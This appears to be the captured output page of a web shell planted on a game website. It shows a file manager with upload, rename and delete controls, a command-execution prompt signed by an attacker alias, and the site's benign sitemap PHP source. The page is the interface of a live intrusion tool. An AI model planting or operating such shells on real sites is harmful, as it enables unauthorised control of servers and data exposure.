home
/
aioutajg
/
watermelongame.site
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] admin
N/A
[DIR] includes
N/A
[DIR] static
N/A
.htaccess
601 bytes
Rename
Delete
0u.php
37.68 KB
Rename
Delete
404.php
1.52 KB
Rename
Delete
Zontal-v1.5.zip
13.65 MB
Rename
Delete
archive.php
6.31 KB
Rename
Delete
category.php
5.03 KB
Rename
Delete
error_log
14.32 MB
Rename
Delete
index.php
15.67 KB
Rename
Delete
login.php
4.56 KB
Rename
Delete
logout.php
89 bytes
Rename
Delete
page.php
1.38 KB
Rename
Delete
register.php
8.32 KB
Rename
Delete
robots.txt
699 bytes
Rename
Delete
search.php
5.74 KB
Rename
Delete
single.php
13.76 KB
Rename
Delete
sitemap.php
1.23 KB
Rename
Delete
update_game_descriptions.php
23.55 KB
Rename
Delete
update_game_titles.php
1.18 KB
Rename
Delete
user.php
10.64 KB
Rename
Delete
zontal.sql
736.31 KB
Rename
Delete
<?php // Set the correct content type for XML header('Content-type: application/xml'); // Start the XML document echo '<?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">'; // Include the configuration file require_once("includes/config.php"); // Query to fetch all games sorted by ID in descending order $game_query = "SELECT * FROM zon_games ORDER BY id DESC"; $run = mysqli_query($con, $game_query); // Generate URLs for each game while ($row = mysqli_fetch_assoc($run)) { $text = $row['game_name']; $slug = strtolower($text); // Convert to lowercase $slug = str_replace('&', '-', $slug); // Replace '&' with '-' $slug = str_replace(' ', '-', $slug); // Replace spaces with '-' $slug = htmlspecialchars($slug, ENT_QUOTES, 'UTF-8'); // Sanitize for XML // Output the URL for the game echo '<url> <loc>' . $site_url . 'single/' . $row['id'] . '/' . $slug . '</loc> </url>'; } // Close the XML document echo '</urlset>'; ?>
Save